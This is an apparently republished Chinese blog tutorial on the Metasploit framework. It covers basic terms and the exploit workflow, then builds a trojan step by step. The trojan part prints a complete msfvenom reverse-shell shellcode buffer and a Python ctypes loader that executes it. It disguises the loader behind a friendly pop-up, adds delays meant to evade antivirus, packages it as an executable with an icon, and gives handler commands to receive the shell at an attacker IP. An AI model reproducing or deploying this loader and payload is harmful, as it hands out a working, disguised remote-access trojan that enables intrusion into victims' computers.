MSF基本使用(基本结构与payload演示)

Posted Huterox

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MSF基本使用(基本结构与payload演示)相关的知识,希望对你有一定的参考价值。

文章目录

前言

试个水(Let’s see if we can pass it)最近做一个爬虫项目,手又痒了。
MSF 是一个非常主流的渗透框架,里面包含了相当多的渗透探测模块

环境

Kail 2020
VM 16
主机:Windows 10

基本要求:
严格遵守国家安全法律法规,会使用Linux。

基本结构

基本专业术语

在玩这个之前呢,我们还是需要去先了解一下一些基本的专业术语的

渗透攻击(Exploit)

渗透攻击是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞,所进行的攻击行为。

流行的攻击技术包括:缓冲区溢出、Web应用程序漏洞攻击,以及利用配置错误等。

攻击载荷(Payload) 攻击载何是我们期望目标系统在被渗透攻击后而执行的代码。在MSF框架中可以自由的选择、传送和植入。比如,反弹式shell是一种从目标主机到攻击主机创建网络连接,并提供命令行shell的攻击载荷。bind
shell攻击载荷则在目标主机上将命令行shell绑定到一个打开的监听端口,攻击者可以连接这些端口来取得shell交互。

溢出代码(Shellcode) shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令后,才会提供一个命令行shell或者Meterpreter
shell,这也是shellcode名称的由来。

模块(Module) 在MSF中,一个模块是指MSF框架中所使用的一段软件代码组件。在某些时候,你可能会使用一个渗透攻击模块(Exploit
module),也就是用于实际发起渗透攻击的软件组件。而在其它时候,则可能使用一个辅助模块(auxiliary
module),用来扫描一些诸如扫描或系统查点的攻击动作。

监听器(Listener) 监听器是MSF中用来等待连入网络连接的组件。举例来说,在目标主机被渗透攻击之后,它可能会通过互联网回连到攻击主机上,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责处理这些网络连接。

物理结构

想要快速使用这个框架做点有意思的事情我们还是需要先了解一下这个基本的目录结构的,这个呢是实际上存放的文件地址。我们进入这里

主要的呢是这几个。我们可以进去看。

Ok,这个最基本的目录结构咱们可以先了解到这里,因为这里看不出啥。

逻辑结构

基本上我们就是 这样的

使用流程

正所谓实战出真知是吧,我们大至梳理一下咱们的流程。就是实际上咱们渗透的时候怎么玩。

这里的话大概是分两种类型的,一个就是直接通过渗透脚本去攻击,还有一种就是使用payload,也就是木马病毒之类的。前面的流程比较简单,所以我不会具体演示(主要是以前不玩的时候把环境干没了)而且后面的一些操作的话涉及到的内容较多。我这边主要是带大家玩一玩。 然后介绍一点基本的感念。

渗透基本流程

第一

首先第一点毫无疑问是确定对方主机的信息,例如目标是啥。然后我们去查找相应的公开的漏洞,例如我们发现目标主机是xx系统。然后这个系统曾经暴露出有这个编号为
CVE-2017-0143
的漏洞。这些信息呢你可以自己上网查,确定对方系统或者设备,然后查找这个设备系统曾经公开暴露的漏洞,当然挖掘又是另一回事了,这里不讨论,写了估计文章也发不出去。

第二

此时我们假设确定了对方可能有这个漏洞,那么此时进入我们的msf控制台。查看漏洞


输入?可以查看所有的那个帮助(另外这个呢,我当前的msf不是最新版,因为很久没玩了嘛,这里的话还是要常常更新msf,但是这里比较尴尬的是,国外镜像更新慢,国内kali基本上镜像都挂了,和谐社会。所以的话更新的话注意科学上网)

Ok,回到主题哈,咱们接下来就是干啥,查看搜索漏洞呗,为啥要这样做,很简单,用让人家写好的攻击工具呀。
此时我们看到了这些玩意

看到没有有好多针对这玩意的。

第三

选择一个,不行就换呗。


这里你输入 back 可以推出这个模块

然后查看这个参数设置,和信息 show options

然后我们在 info 查看具体的信息


里面有很多的一些信息,你可以去查看。

这里的话比较尴尬哈,真的是没有那个靶机哈。
所以这里假装可以渗透好吧

第四

当然是按照咱们的这个参数去设置一下呗。

然后 run

或者 exploit
具体的看情况,怎么说呢,没有靶机了实验不了,而且这个需要结合到我们具体的一些漏洞,需要的专业性比较强,今天就算有靶机我在这里演示如果你是小白基本上也不知道怎么个搞法。

木马渗透

OK ,咱们来个容易操作的。
这个的话就需要结合到我们刚刚的那个msf的结构了。

我们使用木马就需要使用到咱们的 msf 里面的工具 msfvenom 了。

先明确流程:

所以我们这里先聊聊 msfvenom 生产木马

msfvenom的基本使用

介绍,目前比较常用的几个方法和参数.

payload 查看与使用

payload你可以理解为就是一种攻击的方案,生成何种攻击方式,对那种平台进行攻击
使用参数 -p来进行设置, 查看为-l payload具体的看如下案例

encoders的使用
参数 -e 这个是指选择何种方式编码,提高木马免杀的概率,此外还有参数 -i -b
不过有本人亲测使用-e即可,甚至不用指定,原因是无论你怎么设置参数都会直直接被杀毒软件查出来.此时使用这种简单的方式是没有用的.不过我们可以使用别的方式免杀.而且这种方式更加的高效.
下面是如何看编码模板

木马生成

msfvenom -p 模板 -e 编码模板 -i 编码次数 -b 避免字符集 LHOST(ifconfig查看) LPORT(监听端口) -f 输出文件类型 > 文件名

下面是一个例子

我这里没有使用别的参数,原因是没必要只是这样简单处理的话直接被杀.

免杀

现在免杀的方式有很多,其实具体思路是拿到病毒的机器码,然后加以伪装
这里方式很多,具体的可以参考这篇博客:
https://blog.csdn.net/weixin_44677409/article/details/96346481
那么这里的话由于本人的编程环境和操作习惯,这里演示使用python免杀
拿到shellcode
其实就是输出py文件

之后拿到文件
里面的内容大概是这样的

buf =  b""
buf += b"\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc0\\x00\\x00\\x00\\x41\\x51\\x41"
buf += b"\\x50\\x52\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\\x48"
buf += b"\\x8b\\x52\\x18\\x48\\x8b\\x52\\x20\\x48\\x8b\\x72\\x50\\x48\\x0f"
buf += b"\\xb7\\x4a\\x4a\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x3c\\x61\\x7c"
buf += b"\\x02\\x2c\\x20\\x41\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\xe2\\xed\\x52"
buf += b"\\x41\\x51\\x48\\x8b\\x52\\x20\\x8b\\x42\\x3c\\x48\\x01\\xd0\\x8b"
buf += b"\\x80\\x88\\x00\\x00\\x00\\x48\\x85\\xc0\\x74\\x67\\x48\\x01\\xd0"
buf += b"\\x50\\x8b\\x48\\x18\\x44\\x8b\\x40\\x20\\x49\\x01\\xd0\\xe3\\x56"
buf += b"\\x48\\xff\\xc9\\x41\\x8b\\x34\\x88\\x48\\x01\\xd6\\x4d\\x31\\xc9"
buf += b"\\x48\\x31\\xc0\\xac\\x41\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\x38\\xe0"
buf += b"\\x75\\xf1\\x4c\\x03\\x4c\\x24\\x08\\x45\\x39\\xd1\\x75\\xd8\\x58"
buf += b"\\x44\\x8b\\x40\\x24\\x49\\x01\\xd0\\x66\\x41\\x8b\\x0c\\x48\\x44"
buf += b"\\x8b\\x40\\x1c\\x49\\x01\\xd0\\x41\\x8b\\x04\\x88\\x48\\x01\\xd0"
buf += b"\\x41\\x58\\x41\\x58\\x5e\\x59\\x5a\\x41\\x58\\x41\\x59\\x41\\x5a"
buf += b"\\x48\\x83\\xec\\x20\\x41\\x52\\xff\\xe0\\x58\\x41\\x59\\x5a\\x48"
buf += b"\\x8b\\x12\\xe9\\x57\\xff\\xff\\xff\\x5d\\x49\\xbe\\x77\\x73\\x32"
buf += b"\\x5f\\x33\\x32\\x00\\x00\\x41\\x56\\x49\\x89\\xe6\\x48\\x81\\xec"
buf += b"\\xa0\\x01\\x00\\x00\\x49\\x89\\xe5\\x49\\xbc\\x02\\x00\\x22\\xb9"
buf += b"\\xc0\\xa8\\x65\\x26\\x41\\x54\\x49\\x89\\xe4\\x4c\\x89\\xf1\\x41"
buf += b"\\xba\\x4c\\x77\\x26\\x07\\xff\\xd5\\x4c\\x89\\xea\\x68\\x01\\x01"
buf += b"\\x00\\x00\\x59\\x41\\xba\\x29\\x80\\x6b\\x00\\xff\\xd5\\x50\\x50"
buf += b"\\x4d\\x31\\xc9\\x4d\\x31\\xc0\\x48\\xff\\xc0\\x48\\x89\\xc2\\x48"
buf += b"\\xff\\xc0\\x48\\x89\\xc1\\x41\\xba\\xea\\x0f\\xdf\\xe0\\xff\\xd5"
buf += b"\\x48\\x89\\xc7\\x6a\\x10\\x41\\x58\\x4c\\x89\\xe2\\x48\\x89\\xf9"
buf += b"\\x41\\xba\\x99\\xa5\\x74\\x61\\xff\\xd5\\x48\\x81\\xc4\\x40\\x02"
buf += b"\\x00\\x00\\x49\\xb8\\x63\\x6d\\x64\\x00\\x00\\x00\\x00\\x00\\x41"
buf += b"\\x50\\x41\\x50\\x48\\x89\\xe2\\x57\\x57\\x57\\x4d\\x31\\xc0\\x6a"
buf += b"\\x0d\\x59\\x41\\x50\\xe2\\xfc\\x66\\xc7\\x44\\x24\\x54\\x01\\x01"
buf += b"\\x48\\x8d\\x44\\x24\\x18\\xc6\\x00\\x68\\x48\\x89\\xe6\\x56\\x50"
buf += b"\\x41\\x50\\x41\\x50\\x41\\x50\\x49\\xff\\xc0\\x41\\x50\\x49\\xff"
buf += b"\\xc8\\x4d\\x89\\xc1\\x4c\\x89\\xc1\\x41\\xba\\x79\\xcc\\x3f\\x86"
buf += b"\\xff\\xd5\\x48\\x31\\xd2\\x48\\xff\\xca\\x8b\\x0e\\x41\\xba\\x08"
buf += b"\\x87\\x1d\\x60\\xff\\xd5\\xbb\\xf0\\xb5\\xa2\\x56\\x41\\xba\\xa6"
buf += b"\\x95\\xbd\\x9d\\xff\\xd5\\x48\\x83\\xc4\\x28\\x3c\\x06\\x7c\\x0a"
buf += b"\\x80\\xfb\\xe0\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00\\x59"
buf += b"\\x41\\x89\\xda\\xff\\xd5"

那么此时粘贴复制到另一个python文件中
我这里写了一个包装函数,直接将buf作为参数传入即可

import ctypes

def execgo(buf):
    go()
    # print('123')
    shellcode = bytearray(buf)
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    # 申请内存
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
    # 放入shellcode
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    ctypes.windll.kernel32.RtlMoveMemory(
        ctypes.c_uint64(ptr),
        buf,
        ctypes.c_int(len(shellcode))
    )
    ss()
    # 创建一个线程从shellcode放置位置首地址开始执行
    handle = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.c_uint64(ptr),
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.pointer(ctypes.c_int(0))
    )
    ss()
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

def ss():
	#查杀干扰
	time.sleep(0.1)
def go():
	#界面伪装
    ctypes.windll.user32.MessageBoxA(0, u"点击确定开始美好之旅(若无反应则版本可能不适用).^_ ^".encode('gb2312'),
                                     u' 信息'.encode('gb2312'), 0)
if __name__=='__main__':
    execgo(buf)

之后将此文件使用pyinstaller打包成可执行文件
这里的话我还给它加了一个图标

得到文件

查杀测试

木马操控(msfconsole控制接收木马信息)

这里:

use multi/handler
这个也是其中一个模块嘛,所以先进入然后才能那啥。

更据我的设置我输入了如下指令

msfconse
use multi/handler
set payload windows/x64/shell_reverse_tcp
set LHOST 192.168.101.38
set LPORT 8889
run

此时等待目标上线
结果如下:

至此一个简单的木马渗透就ok了,这个也是操作性比较强的,如果你有一台公网ip的服务器是吧

总结

怎么说呢 msf的操作很简单,当然前提是你要对基本的漏洞有一些了解,然后作为新时代的好青年好好学习天天向上。

以上是关于MSF基本使用(基本结构与payload演示)的主要内容,如果未能解决你的问题,请参考以下文章

20155232《网络对抗》Exp5 MSF基础应用

msf payload creator是什么

MSF攻击载荷的生成

2018-2019-2 20165332《网络攻防技术》Exp5 MSF基础应用

《网络对抗》Exp5 MSF基础应用

《网络对抗》Exp5 MSF基础应用